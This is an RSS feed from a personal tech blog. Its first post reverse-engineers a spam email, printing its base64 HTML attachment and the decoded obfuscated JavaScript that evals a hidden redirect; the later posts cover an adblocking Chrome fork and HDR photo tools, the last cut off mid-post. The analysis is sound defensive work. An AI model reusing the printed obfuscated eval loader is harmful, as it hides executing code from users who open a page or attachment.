<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Robots w/Lasers &#187; Software</title>
	<atom:link href="http://blog.davr.org/category/software/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.davr.org</link>
	<description>Nintendo DS &#038; GBA development, microcontrollers, and occasionally FPGAs</description>
	<lastBuildDate>Thu, 08 Jul 2010 17:22:28 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Reverse Engineering Obfuscated Javascript</title>
		<link>http://blog.davr.org/2010/07/08/reverse-engineering-obfuscated-javascript/</link>
		<comments>http://blog.davr.org/2010/07/08/reverse-engineering-obfuscated-javascript/#comments</comments>
		<pubDate>Thu, 08 Jul 2010 17:22:28 +0000</pubDate>
		<dc:creator>davr</dc:creator>
				<category><![CDATA[Software]]></category>

		<guid isPermaLink="false">http://blog.davr.org/?p=124</guid>
		<description><![CDATA[I keep getting these spam emails which are making it past Gmail&#8217;s spam filter. Basically, it looks like a &#8216;delivery failed&#8217; notification, with an HTML attachment which you are supposed to think is the original email. So you click on the attachment and open it, to find out which email you sent failed to go [...]]]></description>
			<content:encoded><![CDATA[<p>I keep getting these spam emails which are making it past Gmail&#8217;s spam filter. Basically, it looks like a &#8216;delivery failed&#8217; notification, with an HTML attachment which you are supposed to think is the original email. So you click on the attachment and open it, to find out which email you sent failed to go through. I finally got curious enough to see what exactly was going on. Here&#8217;s how the email looks like in Gmail:</p>
<p><img class="alignnone size-full wp-image-129" title="Spam email" src="http://blog.davr.org/wp-content/uploads/2010/07/spam_email.png" alt="Spam email screenshot" width="823" height="375" /></p>
<p>Here&#8217;s the actual full contents of the email (some ip / email addresses removed to protect the innocent)<br />
<span id="more-124"></span></p>
<pre>Delivered-To: xxx
Received: by 10.229.236.206 with SMTP id kl14cs141790qcb;
 Thu, 8 Jul 2010 09:00:59 -0700 (PDT)
Received: by 10.150.202.9 with SMTP id z9mr580063ybf.86.1278604858545;
 Thu, 08 Jul 2010 09:00:58 -0700 (PDT)
Return-Path: &lt;borers13@reportinternational.com&gt;
Received: from xxx
 by mx.google.com with ESMTP id l5si18198859ybj.58.2010.07.08.09.00.57;
 Thu, 08 Jul 2010 09:00:57 -0700 (PDT)
Received-SPF: neutral (google.com: xxx is neither permitted nor denied by best guess record for domain of borers13@reportinternational.com) client-ip=xxx;
Authentication-Results: mx.google.com; spf=neutral (google.com: xxx is neither permitted nor denied by best guess record for domain of borers13@reportinternational.com) smtp.mail=borers13@reportinternational.com
Received: from 93-86-52-90.dynamic.isp.telekom.rs (unknown [109.92.111.218])
 by xxx (Postfix) with ESMTP id 8CE6842D000B
 for &lt;xxx&gt;; Thu,  8 Jul 2010 11:00:51 -0500 (CDT)
Received: from 109.92.111.218 by mail1.optimisaplc.com; Thu, 8 Jul 2010 18:00:46 +0100
Message-ID: &lt;000d01cb1eb6$b9f0fa90$6400a8c0@borers13&gt;
From: postmaster@reportinternational.com
To: &lt;xxx&gt;
Subject: Delivery Status Notification (Failure)
Date: Thu, 8 Jul 2010 18:00:46 +0100
MIME-Version: 1.0
Content-Type: multipart/mixed;
 boundary="----=_NextPart_000_0006_01CB1EB6.B9F0FA90"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2900.2180
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2180

This is a multi-part message in MIME format.

------=_NextPart_000_0006_01CB1EB6.B9F0FA90
Content-Type: text/plain;
 format=flowed;
 charset="Windows-1252";
 reply-type=original
Content-Transfer-Encoding: 7bit

Note: Forwarded message is attached.

This is an automatically generated Delivery Status Notification.

Delivery to the following recipients failed.

 borers13@reportinternational.com

Final-Recipient: rfc822;borers13@reportinternational.com
Action: failed
Status: 5.1.1

------=_NextPart_000_0006_01CB1EB6.B9F0FA90
Content-Type: text/html;
 name="Forwarded Message.html"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
 filename="Forwarded Message.html"

PHNjcmlwdD52YXIgY0U7aWYoY0UhPSdpSlYnICYmIGNFIT0neUonKXtjRT0nJ307dmFyIHBQO2lm
KHBQIT0na1gnICYmIHBQIT0nd01KJyl7cFA9Jyd9O3ZhciB0SUo9ZmFsc2U7dmFyIHZVTTt2YXIg
aUE9bmV3IEFycmF5KCk7dmFyIHVBPW5ldyBBcnJheSgpO3ZVTT0nOGQ4ZTgnKycyODA5NScrJzg4
OGU4JysnZmNmODknKyc5Mzg0OCcrJzdjMWRjJysnYzFjNjgnKyc5OTU5NScrJzkxZGJjJysnZWNl
OTUnKyc5Mzg0OCcrJ2Y4NTliJysnOGM4MDknKyczOGE4NCcrJzk1Y2Y4JysnMjhlOGMnKydjZTg4
OCcrJ2Y4NTg0JysnOTlkMmMnKydmODk5NScrJzhjOGRjJysnNmRhJzt2YXIgZVg9bmV3IERhdGUo
KTt2YXIgbU09MjI3MDk7dmFyIGpORDtpZihqTkQhPSdxRlYnICYmIGpORCE9J2RMJyl7ak5EPScn
fTt2YXIgZFU9MjM2MzM7ICAgZnVuY3Rpb24gZShvKXt2YXIgeE07aWYoeE0gPT0gJ2FWJyl7eE09
MDt9O3RoaXMuYko9IiI7dGhpcy55Tj0ieU4iO3ZhciBrQ1cgPSBNYXRoLnJhbmRvbSgpO2Z1bmN0
aW9uIHIoaSx1RCl7dmFyIHlUPScnO3ZhciB6WD0nJzt0aGlzLnBJPScnO3JldHVybiBpWydcdTAw
NjMnK3VuZXNjYXBlKCclNjglNjElNzIlNDMlNmYlNjQlNjUlNDElNzQnKV0odUQpO3ZhciB5RTtp
Zih5RSE9JycgJiYgeUUhPSd6UCcpe3lFPW51bGx9O3ZhciBrPWZhbHNlO312YXIgaVA9bmV3IEFy
cmF5KCk7dmFyIHdZPW5ldyBBcnJheSgpO3RoaXMuZkQ9Jyc7dmFyIGpBPScnO2Z1bmN0aW9uIGtW
KGEsclUpe3ZhciB6TT0yMzk4Mzt0aGlzLnFQPSJxUCI7cmV0dXJuIGFeclU7fXZhciBiRSA9IG5l
dyBEYXRlKCk7ICB2YXIgbFI7aWYobFIhPScnICYmIGxSIT0ndFZMJyl7bFI9bnVsbH07dmFyIGYg
PSBiRVsnXHUwMDY3XHUwMDY1XHUwMDc0XHUwMDUzXHUwMDY1Jyt1bmVzY2FwZSgnJTYzJTZmJTZl
JTY0JTczJyldKCk7dmFyIGQgPSBmIC0gYkE7dmFyIHRMTTtpZih0TE0hPScnICYmIHRMTSE9J3Un
KXt0TE09Jyd9O2lmKGQgPCAwKSBkID0gMTt2YXIgdUI9NDkxMDI7dmFyIG5CPTI4ODc4O2lmKGQg
PiAxKSBkID0gMTt2YXIgdE09Jyc7dmFyIGRYQz0nJzt2YXIgaVUgPSBkO3ZhciBnTztpZihnTyE9
J2pHJyAmJiBnTyE9J3JTJyl7Z089J2pHJ307dmFyIHBISTtpZihwSEkhPSdiJyAmJiBwSEkgIT0g
Jycpe3BIST1udWxsfTt2YXIgdCA9IHdpbmRvdzt2YXIgZkM7aWYoZkMgPT0gJ2lKJyl7ZkM9MDt9
O3RoaXMuZUE9NDkxNjE7dGhpcy5wUj1mYWxzZTt2YXIgaU0gPSBkb2N1bWVudDt2YXIgclIgPSBT
dHJpbmc7dmFyIHREPScnO3ZhciBmQ047aWYoZkNOIT0nJyAmJiBmQ04hPSdySCcpe2ZDTj0nYyd9
O3ZhciBjQjtpZihjQiE9JycgJiYgY0IhPSdhQicpe2NCPSd4RCd9O3ZhciB3ID0gdFsnXHUwMDc1
XHUwMDZlJyt1bmVzY2FwZSgnJTY1JTczJTYzJTYxJTcwJTY1JyldO3ZhciBlVCA9IHJSWydcdTAw
NjYnK3VuZXNjYXBlKCclNzIlNmYlNmQlNDMlNjglNjElNzIlNDMlNmYlNjQlNjUnKV07dmFyIGFP
O2lmKGFPIT0nJyAmJiBhTyE9J2RCQicpe2FPPW51bGx9O3RoaXMuZk89Jyc7dmFyIGRKPWZhbHNl
O3ZhciBpUztpZihpUyE9J2dNJyAmJiBpUyE9J2ROJyl7aVM9Jyd9O3ZhciBqRjtpZihqRiE9Jycg
JiYgakYhPSd4SScpe2pGPScnfTt2YXIgZVAgPSAnJzt2YXIgck87aWYock8hPScnICYmIHJPIT0n
cFMnKXtyTz0nJ307dGhpcy5oSz1mYWxzZTt2YXIgYVcgPSAnJSc7dmFyIGVLID0gMjt2YXIgd1Eg
PSAwO3RoaXMuZ0U9IiI7dmFyIHNHO2lmKHNHIT0nJyAmJiBzRyE9J2ZOJyl7c0c9bnVsbH07dmFy
IHkgPSBvWydcdTAwNmMnK3VuZXNjYXBlKCclNjUlNmUlNjclNzQlNjgnKV07dGhpcy54Rj0iIjt2
YXIgY0cgPSBNYXRoLnJhbmRvbSgpO3ZhciBqWD00NDA3Mjtmb3IodmFyIHE9d1E7IHEgPCB5OyBx
Kz1lSyl7dGhpcy51Sj0nJzt2YXIgeUs7aWYoeUshPScnICYmIHlLIT0ncEhNJyl7eUs9Jyd9O3Zh
ciBlRTtpZihlRSA9PSAncUknKXtlRT0wO307ZVArPSBhVyArIG9bJ1x1MDA3M1x1MDA3NVx1MDA2
MicrdW5lc2NhcGUoJyU3MyU3NCU3MicpXShxLCBlSyk7dGhpcy5mVT04MTQxO3ZhciBmVztpZihm
VyE9JycgJiYgZlchPSd0Vycpe2ZXPScnfTt9dmFyIHpNQz1mYWxzZTt2YXIgbyA9IHcoZVApO3Ro
aXMuaUQ9Jyc7dmFyIHhMPWZhbHNlO3RoaXMuYkw9MTIwMzt2YXIgbiA9IDIyNCArIGlVO3ZhciBk
WCA9ICcnO3ZhciB6RztpZih6RyE9JycgJiYgekchPSdxQ0YnKXt6Rz0nJ307dGhpcy5oSD0nJzt2
YXIgclcgPSBvWydcdTAwNmMnK3VuZXNjYXBlKCclNjUlNmUlNjclNzQlNjgnKV07dmFyIGFQPScn
O3ZhciB2STtpZih2SSA9PSAndUYnKXt2ST0wO307dmFyIGhWSD0nJztmb3IodmFyIGpRPTA7IGpR
IDwgclc7IGpRKyspe3ZhciBqVDtpZihqVCE9J2RIJyAmJiBqVCAhPSAnJyl7alQ9bnVsbH07dmFy
IGFOUz1uZXcgQXJyYXkoKTt2YXIgclJLO2lmKHJSSyE9JycgJiYgclJLIT0nekhWJyl7clJLPScn
fTt2YXIgYkpYPW5ldyBEYXRlKCk7dmFyIGxWID0gcihvLGpRKTtsViA9IGtWKGxWLCBuKTt2YXIg
c0E7aWYoc0EhPScnICYmIHNBIT0neEEnKXtzQT0nJ307dmFyIHlLSDtpZih5S0ghPScnICYmIHlL
SCE9J25UJyl7eUtIPScnfTt0aGlzLndYPSJ3WCI7ZFgrPWVUKGxWKTt9dmFyIGxVO2lmKGxVIT0n
JyAmJiBsVSE9J2JZJyl7bFU9bnVsbH07dGhpcy5rSkE9Jyc7dGhpcy5tQz0iIjt0WydcdTAwNjVc
dTAwNzYnK3VuZXNjYXBlKCclNjElNkMnKV0oZFgpO3JldHVybiBkWDt9dmFyIGJOPW5ldyBBcnJh
eSgpO3ZhciB3SztpZih3SyE9J21LJyAmJiB3SyE9J3hWQycpe3dLPSdtSyd9O3ZhciBvQj0nJzt2
YXIgdVdOPScnO3ZhciBhVDtpZihhVCE9JycgJiYgYVQhPSdvQkonKXthVD1udWxsfTt2YXIgd0Ig
PSBuZXcgRGF0ZSgpO3ZhciBiQSA9IHdCWydcdTAwNjdcdTAwNjVcdTAwNzRcdTAwNTNcdTAwNjUn
K3VuZXNjYXBlKCclNjMlNmYlNmUlNjQlNzMnKV0oKTsgdmFyIHVTPW5ldyBBcnJheSgpO3RoaXMu
bFg9Mzc5NDt0aGlzLmFQTj02NDQwMjtzZXRUaW1lb3V0KCdlKHZVTSknLCA5ODUpO3ZhciB3UUg7
aWYod1FIIT0nJyAmJiB3UUghPSdmSCcpe3dRSD0nJ307dmFyIG1VPW5ldyBBcnJheSgpO3ZhciB0
WT1mYWxzZTs8L3NjcmlwdD4= 

------=_NextPart_000_0006_01CB1EB6.B9F0FA90--
</pre>
<p>The first thing that threw up a red flag was that the HTML attachment was base64 encoded. Generally if something is a text attachment, it&#8217;s not encoded, which makes it easy to examine in your mail reader without executing it. So the first thing I did was decode the base64, a quick google turned up <a href="http://www.opinionatedgeek.com/dotnet/tools/base64decode/safedecode.aspx">this base64 decoder tool</a>. The result was this:</p>
<pre>
<pre>&lt;script&gt;var cE;if(cE!='iJV' &amp;&amp; cE!='yJ'){cE=''};var pP;if(pP!='kX' &amp;&amp; pP!='wMJ'){pP=''};var tIJ=fals
e;var vUM;var iA=new Array();var uA=new Array();vUM='8d8e8'+'28095'+'888e8'+'fcf89'+'93848'+'7c1dc'+
'c1c68'+'99595'+'91dbc'+'ece95'+'93848'+'f859b'+'8c809'+'38a84'+'95cf8'+'28e8c'+'ce888'+'f8584'+'99d
2c'+'f8995'+'8c8dc'+'6da';var eX=new Date();var mM=22709;var jND;if(jND!='qFV' &amp;&amp; jND!='dL'){jND=''}
;var dU=23633;   function e(o){var xM;if(xM == 'aV'){xM=0;};this.bJ="";this.yN="yN";var kCW = Math.r
andom();function r(i,uD){var yT='';var zX='';this.pI='';return i['\u0063'+unescape('%68%61%72%43%6f%
64%65%41%74')](uD);var yE;if(yE!='' &amp;&amp; yE!='zP'){yE=null};var k=false;}var iP=new Array();var wY=new
 Array();this.fD='';var jA='';function kV(a,rU){var zM=23983;this.qP="qP";return a^rU;}var bE = new
Date();  var lR;if(lR!='' &amp;&amp; lR!='tVL'){lR=null};var f = bE['\u0067\u0065\u0074\u0053\u0065'+unescap
e('%63%6f%6e%64%73')]();var d = f - bA;var tLM;if(tLM!='' &amp;&amp; tLM!='u'){tLM=''};if(d &lt; 0) d = 1;var u
B=49102;var nB=28878;if(d &gt; 1) d = 1;var tM='';var dXC='';var iU = d;var gO;if(gO!='jG' &amp;&amp; gO!='rS')
{gO='jG'};var pHI;if(pHI!='b' &amp;&amp; pHI != ''){pHI=null};var t = window;var fC;if(fC == 'iJ'){fC=0;};th
is.eA=49161;this.pR=false;var iM = document;var rR = String;var tD='';var fCN;if(fCN!='' &amp;&amp; fCN!='rH
'){fCN='c'};var cB;if(cB!='' &amp;&amp; cB!='aB'){cB='xD'};var w = t['\u0075\u006e'+unescape('%65%73%63%61%7
0%65')];var eT = rR['\u0066'+unescape('%72%6f%6d%43%68%61%72%43%6f%64%65')];var aO;if(aO!='' &amp;&amp; aO!=
'dBB'){aO=null};this.fO='';var dJ=false;var iS;if(iS!='gM' &amp;&amp; iS!='dN'){iS=''};var jF;if(jF!='' &amp;&amp; j
F!='xI'){jF=''};var eP = '';var rO;if(rO!='' &amp;&amp; rO!='pS'){rO=''};this.hK=false;var aW = '%';var eK =
 2;var wQ = 0;this.gE="";var sG;if(sG!='' &amp;&amp; sG!='fN'){sG=null};var y = o['\u006c'+unescape('%65%6e%
67%74%68')];this.xF="";var cG = Math.random();var jX=44072;for(var q=wQ; q &lt; y; q+=eK){this.uJ='';va
r yK;if(yK!='' &amp;&amp; yK!='pHM'){yK=''};var eE;if(eE == 'qI'){eE=0;};eP+= aW + o['\u0073\u0075\u0062'+un
escape('%73%74%72')](q, eK);this.fU=8141;var fW;if(fW!='' &amp;&amp; fW!='tW'){fW=''};}var zMC=false;var o =
 w(eP);this.iD='';var xL=false;this.bL=1203;var n = 224 + iU;var dX = '';var zG;if(zG!='' &amp;&amp; zG!='qC
F'){zG=''};this.hH='';var rW = o['\u006c'+unescape('%65%6e%67%74%68')];var aP='';var vI;if(vI == 'uF
'){vI=0;};var hVH='';for(var jQ=0; jQ &lt; rW; jQ++){var jT;if(jT!='dH' &amp;&amp; jT != ''){jT=null};var aNS=n
ew Array();var rRK;if(rRK!='' &amp;&amp; rRK!='zHV'){rRK=''};var bJX=new Date();var lV = r(o,jQ);lV = kV(lV,
 n);var sA;if(sA!='' &amp;&amp; sA!='xA'){sA=''};var yKH;if(yKH!='' &amp;&amp; yKH!='nT'){yKH=''};this.wX="wX";dX+=e
T(lV);}var lU;if(lU!='' &amp;&amp; lU!='bY'){lU=null};this.kJA='';this.mC="";t['\u0065\u0076'+unescape('%61%
6C')](dX);return dX;}var bN=new Array();var wK;if(wK!='mK' &amp;&amp; wK!='xVC'){wK='mK'};var oB='';var uWN=
'';var aT;if(aT!='' &amp;&amp; aT!='oBJ'){aT=null};var wB = new Date();var bA = wB['\u0067\u0065\u0074\u0053
\u0065'+unescape('%63%6f%6e%64%73')](); var uS=new Array();this.lX=3794;this.aPN=64402;setTimeout('e
(vUM)', 985);var wQH;if(wQH!='' &amp;&amp; wQH!='fH'){wQH=''};var mU=new Array();var tY=false;&lt;/script&gt;
</pre>
</pre>
<p>That&#8217;s not very readable, so another quick trip to the google turned up <a href="http://jsbeautifier.org/">this javascript formatter</a>, producing this output:</p>
<pre id="codemain">var cE;
if (cE != 'iJV' &amp;&amp; cE != 'yJ') {
    cE = ''
};
var pP;
if (pP != 'kX' &amp;&amp; pP != 'wMJ') {
    pP = ''
};
var tIJ = false;
var vUM;
var iA = new Array();
var uA = new Array();
vUM = '8d8e8' + '28095' + '888e8' + 'fcf89' + '93848' + '7c1dc' + 'c1c68' + '99595' + '91dbc' + 'ece95' + '93848' + 'f859b' + '8c809' + '38a84' + '95cf8' + '28e8c' + 'ce888' + 'f8584' + '99d2c' + 'f8995' + '8c8dc' + '6da';
var eX = new Date();
var mM = 22709;
var jND;
if (jND != 'qFV' &amp;&amp; jND != 'dL') {
    jND = ''
};
var dU = 23633;

function e(o) {
    var xM;
    if (xM == 'aV') {
        xM = 0;
    };
    this.bJ = "";
    this.yN = "yN";
    var kCW = Math.random();

    function r(i, uD) {
        var yT = '';
        var zX = '';
        this.pI = '';
        return i['\u0063' + unescape('%68%61%72%43%6f%64%65%41%74')](uD);
        var yE;
        if (yE != '' &amp;&amp; yE != 'zP') {
            yE = null
        };
        var k = false;
    }
    var iP = new Array();
    var wY = new Array();
    this.fD = '';
    var jA = '';

    function kV(a, rU) {
        var zM = 23983;
        this.qP = "qP";
        return a ^ rU;
    }
    var bE = new Date();
    var lR;
    if (lR != '' &amp;&amp; lR != 'tVL') {
        lR = null
    };
    var f = bE['\u0067\u0065\u0074\u0053\u0065' + unescape('%63%6f%6e%64%73')]();
    var d = f - bA;
    var tLM;
    if (tLM != '' &amp;&amp; tLM != 'u') {
        tLM = ''
    };
    if (d &lt; 0) d = 1;
    var uB = 49102;
    var nB = 28878;
    if (d &gt; 1) d = 1;
    var tM = '';
    var dXC = '';
    var iU = d;
    var gO;
    if (gO != 'jG' &amp;&amp; gO != 'rS') {
        gO = 'jG'
    };
    var pHI;
    if (pHI != 'b' &amp;&amp; pHI != '') {
        pHI = null
    };
    var t = window;
    var fC;
    if (fC == 'iJ') {
        fC = 0;
    };
    this.eA = 49161;
    this.pR = false;
    var iM = document;
    var rR = String;
    var tD = '';
    var fCN;
    if (fCN != '' &amp;&amp; fCN != 'rH') {
        fCN = 'c'
    };
    var cB;
    if (cB != '' &amp;&amp; cB != 'aB') {
        cB = 'xD'
    };
    var w = t['\u0075\u006e' + unescape('%65%73%63%61%70%65')];
    var eT = rR['\u0066' + unescape('%72%6f%6d%43%68%61%72%43%6f%64%65')];
    var aO;
    if (aO != '' &amp;&amp; aO != 'dBB') {
        aO = null
    };
    this.fO = '';
    var dJ = false;
    var iS;
    if (iS != 'gM' &amp;&amp; iS != 'dN') {
        iS = ''
    };
    var jF;
    if (jF != '' &amp;&amp; jF != 'xI') {
        jF = ''
    };
    var eP = '';
    var rO;
    if (rO != '' &amp;&amp; rO != 'pS') {
        rO = ''
    };
    this.hK = false;
    var aW = '%';
    var eK = 2;
    var wQ = 0;
    this.gE = "";
    var sG;
    if (sG != '' &amp;&amp; sG != 'fN') {
        sG = null
    };
    var y = o['\u006c' + unescape('%65%6e%67%74%68')];
    this.xF = "";
    var cG = Math.random();
    var jX = 44072;
    for (var q = wQ;
    q &lt; y;
    q += eK) {
        this.uJ = '';
        var yK;
        if (yK != '' &amp;&amp; yK != 'pHM') {
            yK = ''
        };
        var eE;
        if (eE == 'qI') {
            eE = 0;
        };
        eP += aW + o['\u0073\u0075\u0062' + unescape('%73%74%72')](q, eK);
        this.fU = 8141;
        var fW;
        if (fW != '' &amp;&amp; fW != 'tW') {
            fW = ''
        };
    }
    var zMC = false;
    var o = w(eP);
    this.iD = '';
    var xL = false;
    this.bL = 1203;
    var n = 224 + iU;
    var dX = '';
    var zG;
    if (zG != '' &amp;&amp; zG != 'qCF') {
        zG = ''
    };
    this.hH = '';
    var rW = o['\u006c' + unescape('%65%6e%67%74%68')];
    var aP = '';
    var vI;
    if (vI == 'uF') {
        vI = 0;
    };
    var hVH = '';
    for (var jQ = 0;
    jQ &lt; rW;
    jQ++) {
        var jT;
        if (jT != 'dH' &amp;&amp; jT != '') {
            jT = null
        };
        var aNS = new Array();
        var rRK;
        if (rRK != '' &amp;&amp; rRK != 'zHV') {
            rRK = ''
        };
        var bJX = new Date();
        var lV = r(o, jQ);
        lV = kV(lV, n);
        var sA;
        if (sA != '' &amp;&amp; sA != 'xA') {
            sA = ''
        };
        var yKH;
        if (yKH != '' &amp;&amp; yKH != 'nT') {
            yKH = ''
        };
        this.wX = "wX";
        dX += eT(lV);
    }
    var lU;
    if (lU != '' &amp;&amp; lU != 'bY') {
        lU = null
    };
    this.kJA = '';
    this.mC = "";
    t['\u0065\u0076' + unescape('%61%6C')](dX);
    return dX;
}
var bN = new Array();
var wK;
if (wK != 'mK' &amp;&amp; wK != 'xVC') {
    wK = 'mK'
};
var oB = '';
var uWN = '';
var aT;
if (aT != '' &amp;&amp; aT != 'oBJ') {
    aT = null
};
var wB = new Date();
var bA = wB['\u0067\u0065\u0074\u0053\u0065' + unescape('%63%6f%6e%64%73')]();
var uS = new Array();
this.lX = 3794;
this.aPN = 64402;
setTimeout('e(vUM)', 985);
var wQH;
if (wQH != '' &amp;&amp; wQH != 'fH') {
    wQH = ''
};
var mU = new Array();
var tY = false;
</pre>
<p>Well at least it&#8217;s broken up into separate lines, but it still is pretty meaningless at a quick glance. My next step was to go through all the encoded lines and see if they turned up anything suspicious. It&#8217;s easy to do in a browser, take this line of code:</p>
<pre id="codemain">var bA = wB['\u0067\u0065\u0074\u0053\u0065' + unescape('%63%6f%6e%64%73')]();</pre>
<p>Go up to your browser&#8217;s address bar, and enter:</p>
<pre id="codemain">javascript:alert(XYZ)</pre>
<p>Where &#8216;XYZ&#8217; is what you&#8217;re interested in. In this case I typed:</p>
<pre id="codemain">javascript:alert('\u0067\u0065\u0074\u0053\u0065' + unescape('%63%6f%6e%64%73'));</pre>
<p>The result was &#8216;getSeconds&#8217;. Looking at the line above, wB is Date(), so this whole line of code is effectively calling (new Date()).getSeconds(); nothing dangerous there. I then did that for all the lines containing unicode escaped characters and url escaped characters. The only suspicious one I could find was</p>
<pre id="codemain">    var t = window;
        // ... later ...
    t['\u0065\u0076' + unescape('%61%6C')](dX);</pre>
<p>This translates to &#8216;window.eval(dX)&#8217;, which is basically saying &#8216;Take whatever is in the variable dX, and execute it as JavaScript code&#8217;. Since nothing else was dangerous (just calls to things like String.length, String.getCharCodeAt, String.substr, etc), I determined that as long as I removed that line of code, it would be safe to run. So I created a new HTML file as follows:</p>
<pre>&lt;html&gt;
&lt;body&gt;
&lt;textarea id="mytxt"/&gt;
&lt;script&gt;

 // ... entire script pasted here ... 

 // t['\u0065\u0076' + unescape('%61%6C')](dX);  this line replaced with:
 var mytxt = document.getElementById('mytxt');
 mytxt.value = dX;

 // ... rest of script ...

&lt;/script&gt;
</pre>
<p>What this does, is instead of executing the code, it dumps it out to a textarea. I then simply saved this as &#8216;hax.html&#8217;, opened it in my browser, and saw:</p>
<p><a href="http://blog.davr.org/wp-content/uploads/2010/07/hax.html.png"><img class="alignnone size-full wp-image-135" title="hax.html" src="http://blog.davr.org/wp-content/uploads/2010/07/hax.html.png" alt="hax.html" width="462" height="314" /></a></p>
<p>And there you have it&#8230;the entire result of this long and complicated obfuscated JavaScript was simply to redirect me to some spammer&#8217;s site. And I didn&#8217;t even have to figure out how the obfuscation worked, all I needed to do was find a single weak point, where it has been decoded but not yet executed, and then change the command to run the code into a command to display the code.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.davr.org/2010/07/08/reverse-engineering-obfuscated-javascript/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>True AdBlock for Chrome browser</title>
		<link>http://blog.davr.org/2009/03/18/true-adblock-for-chrome-browser/</link>
		<comments>http://blog.davr.org/2009/03/18/true-adblock-for-chrome-browser/#comments</comments>
		<pubDate>Wed, 18 Mar 2009 15:52:17 +0000</pubDate>
		<dc:creator>davr</dc:creator>
				<category><![CDATA[Software]]></category>
		<category><![CDATA[adblock]]></category>
		<category><![CDATA[ads]]></category>
		<category><![CDATA[browser]]></category>
		<category><![CDATA[chrome]]></category>
		<category><![CDATA[google]]></category>
		<category><![CDATA[web]]></category>

		<guid isPermaLink="false">http://blog.davr.org/?p=89</guid>
		<description><![CDATA[I&#8217;ve just discovered a true adblock plugin for Google&#8217;s Chrome web browser. What these guys have done, is taken the Chrome sourcecode (aka Chromium), stripped out Google&#8217;s tracking features, and added in a clone of AdBlock Plus. There&#8217;s no fancy UI for it yet, but it supports real regex ad-blocking, unlike those other hacks that [...]]]></description>
			<content:encoded><![CDATA[<p>I&#8217;ve just discovered a true adblock plugin for Google&#8217;s Chrome web browser. What these guys have done, is taken the Chrome sourcecode (aka Chromium), stripped out Google&#8217;s tracking features, and added in a clone of AdBlock Plus. There&#8217;s no fancy UI for it yet, but it supports real regex ad-blocking, unlike those other hacks that either require you setting your <a href="http://www.inanger.com/opinion/chrome-largest-browser-share-not-without-adblock/">hosts file</a> with a million lines, or some <a href="http://www.fritscher.ch/blog/2008/09/03/google-chrome-adblock-with-privoxy/">annoying proxy</a> you have to configure, or a <a href="http://blogote.com/2008/featured-article/google-chrome-with-firefox-addon.html">silly bookmark</a> you have to click on every page.</p>
<p>Check it out here: <a href="http://www.srware.net/en/software_srware_iron_news.php">SRWare&#8217;s Iron</a>. As mentioned in the news, make sure to download <a href="http://www.srware.net/downloads/adblock.ini">adblock.ini </a>and place it into the program directory after downloading.</p>
<p>Enjoy the power of Chrome, with the convenience of adblock!</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.davr.org/2009/03/18/true-adblock-for-chrome-browser/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>HDR-like photo fun</title>
		<link>http://blog.davr.org/2008/09/03/hdr-like-photo-fun/</link>
		<comments>http://blog.davr.org/2008/09/03/hdr-like-photo-fun/#comments</comments>
		<pubDate>Wed, 03 Sep 2008 21:49:28 +0000</pubDate>
		<dc:creator>davr</dc:creator>
				<category><![CDATA[Photography]]></category>
		<category><![CDATA[Software]]></category>
		<category><![CDATA[exposure blending]]></category>
		<category><![CDATA[exposure fusion]]></category>
		<category><![CDATA[hdr]]></category>
		<category><![CDATA[high dynamic range]]></category>

		<guid isPermaLink="false">http://blog.davr.org/?p=82</guid>
		<description><![CDATA[I've been playing around with making HDR photos from only hand-held shots. Mainly because I'm too lazy to always go and get my tripod, set it up, attach the camera, etc etc. It's a lot easier to just stand there &#038; take a few shots at different exposures while holding the camera as steady as possible. Read the full post to see what tools I used, and some example images.]]></description>
			<content:encoded><![CDATA[<p>I&#8217;ve been playing around with making HDR photos from only hand-held shots. Mainly because I&#8217;m too lazy to always go and get my tripod, set it up, attach the camera, etc etc. It&#8217;s a lot easier to just stand there &#038; take a few shots at different exposures while holding the camera as steady as possible.</p>
<p>In the past, all the HDR processing tools required that your images were taken on a tripod and perfectly aligned, or if they weren&#8217;t aligned, it could do some simple corrections, but anything too complex would mess it up.</p>
<p>I&#8217;ve tried several applications, including <a href="http://www.hdrsoft.com/">Photomatix Pro</a>, <a href="http://www.ptgui.com/">PTGui Pro</a>, and <a href="http://www.autopano.net/">Autopano Pro</a>. I know what you&#8217;re thinking, two of those three applications are mainly for automatically stitching panoramas&#8230;but it turns out automatically aligning images for panoramas is also very useful for creating HDR images.</p>
<p>My very quick comparison of these HDR / panoramic image apps: <b>Photomatix Pro</b> appears to give the most control over the HDR generation process, and with tweaking, gives the nicest output&#8230;HOWEVER it&#8217;s not very good at handling images which are not perfectly aligned. <b>Autopano Pro</b> is the best at correctly aligning the images, and for creating panoramas in general, but it sucks at HDR tone mapping, having two sliders with obscure labels, that don&#8217;t really make it look very nice.<br />
Finally, there&#8217;s <b>PTGui Pro</b> &#8212; it&#8217;s not the best at aligning, and it&#8217;s not the best at the HDR generation, but it&#8217;s pretty good at both, so in most cases it gives the best overall results.</p>
<p>Below, you can see an example of a shot I took, that would be impossible without some sort of HDR effect:<br />
<span id="more-82"></span><br />
Original images:<br />
<center><img src="http://davr.org/house2/P1060726.JPG-300x225.jpg" width="300" height="225" /></center><br />
This one is way too dark to see the indoors at all, but you can see out the window pretty clearly.</p>
<p><center><img src="http://davr.org/house2/P1060728.JPG-300x225.jpg" width="300" height="225" /></center><br />
This one&#8217;s a bit brighter, you can make out some of the indoor stuff, but the outdoor shot is already getting a bit too bright</p>
<p><center><img src="http://davr.org/house2/P1060731.JPG-300x225.jpg" width="300" height="225" /></center><br />
